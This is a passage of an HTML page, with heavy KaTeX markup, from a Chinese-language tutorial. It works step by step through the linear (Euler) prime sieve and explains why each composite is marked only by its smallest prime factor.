style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，乘以一個「比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>小的質數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>」表示出來。<br>因此我們能用一個<code>for</code>迴圈，當<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i=i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>時，將所有可用<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>乘一個質數表示出來的合數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>K</mi><mo>=</mo><mi>p</mi><mo>⋅</mo><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">K=p\cdot i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0715em;">K</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>找出來。<br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><strong>比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>小</strong>是這個演算法能成功跑下去的關鍵，能讓<code>i</code>隨著<code>for</code>迴圈慢慢變大的過程中，動態添加新質數，而不用擔心會漏篩。<br>什麼意思呢？我們手動試一下就知道了。</p><ul><li>首先<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">i=2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>，將2加入<code>prime</code>。此時<code>prime = {2}</code>。將所有可以被表示為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>⋅</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">p\cdot 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>的合數標記出來，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>為小於等於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo stretchy="false">(</mo><mo>=</mo><mn>2</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">i(=2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mopen">(</span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mclose">)</span></span></span></span>的質數。因此只有4被標記為合數：<code>not_prime[2*2] = 1</code>。</li><li>接著<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>3</mn></mrow><annotation encoding="application/x-tex">i=3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>，將3加入<code>prime</code>，此時<code>prime = {2,3}</code>。將所有可以被表示為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>⋅</mo><mn>3</mn></mrow><annotation encoding="application/x-tex">p\cdot 3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>的合數標記出來，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>≤</mo><mi>i</mi><mo stretchy="false">(</mo><mo>=</mo><mn>3</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">p\leq i(=3)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mopen">(</span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">3</span><span class="mclose">)</span></span></span></span>。因此6、9被標記為合數。</li><li>接著<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">i=4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span>，4已被標記為合數，因此不加入<code>prime</code>，此時<code>prime = {2,3}</code>。將所有可以被表示為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>⋅</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">p\cdot 4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span>的合數標記出來，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>為小於等於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo stretchy="false">(</mo><mo>=</mo><mn>4</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">i(=4)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mopen">(</span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">4</span><span class="mclose">)</span></span></span></span>的質數。因此8、12被標記為合數。(注意：此時我們先忽略後面要加入的break。實際線性篩中 <code>i=4</code> 只會對8標記，而不會對12標記)</li><li>接著<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>5</mn></mrow><annotation encoding="application/x-tex">i=5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>，5還未被標記為合數，故為質數，加入<code>prime</code>，此時<code>prime = {2,3,5}</code>。將所有可以被表示為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>⋅</mo><mn>5</mn></mrow><annotation encoding="application/x-tex">p\cdot 5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>的合數標記出來，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>為小於等於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo stretchy="false">(</mo><mo>=</mo><mn>5</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">i(=5)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mopen">(</span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">5</span><span class="mclose">)</span></span></span></span>的質數。因此10、15、25被標記為合數。</li></ul><p>不斷重複，直到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mi>N</mi></mrow><annotation encoding="application/x-tex">i=N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span></span>。</p><p>這裡我們解釋兩個細節：</p><ol><li>迴圈跑到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i=i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>時，如果<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>是合數，他必可拆成比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>小的質數和另一數的乘積，從而在之前的步驟就被標記出來了，所以若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>沒被標記為合數，他就一定是質數。稍微延伸一下可知此時所有小於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>的質數此時也都被找出來了。</li><li>由於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>小，所以當<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>跑到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>時，所有比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">i_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>小的質數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>K</mi></msub></mrow><annotation encoding="application/x-tex">p_K</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>都已經在<code>prime</code>裡了，所以不會漏篩合數。</li></ol><p>從上我們知道了線性篩的步驟，也能理解線性篩是能正確運作的。現在剩最後一個問題：<br>如何確保每個數「只被<strong>最小質因數</strong>篩到」？<br>我們回到先前的例子，從<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">i=6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>繼續跑下去：</p><ul><li>接著<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">i=6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>，6已被標記為合數，因此不加入<code>prime</code>，此時<code>prime = {2,3,5}</code>。將所有可以被表示為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>⋅</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">p\cdot 6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>的合數標記出來，其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>為小於等於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo stretchy="false">(</mo><mo>=</mo><mn>6</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">i(=6)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mopen">(</span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">6</span><span class="mclose">)</span></span></span></span>的質數。因此12, 18, 30被標記為合數。</li></ul><p>我們發現12被重複標記了，往回看可以看到當<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">i=4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span>時，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>12</mn><mo stretchy="false">(</mo><mo>=</mo><mn>3</mn><mo>⋅</mo><mn>4</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">12(=3\cdot 4)</annotation></semantics></math></span><span 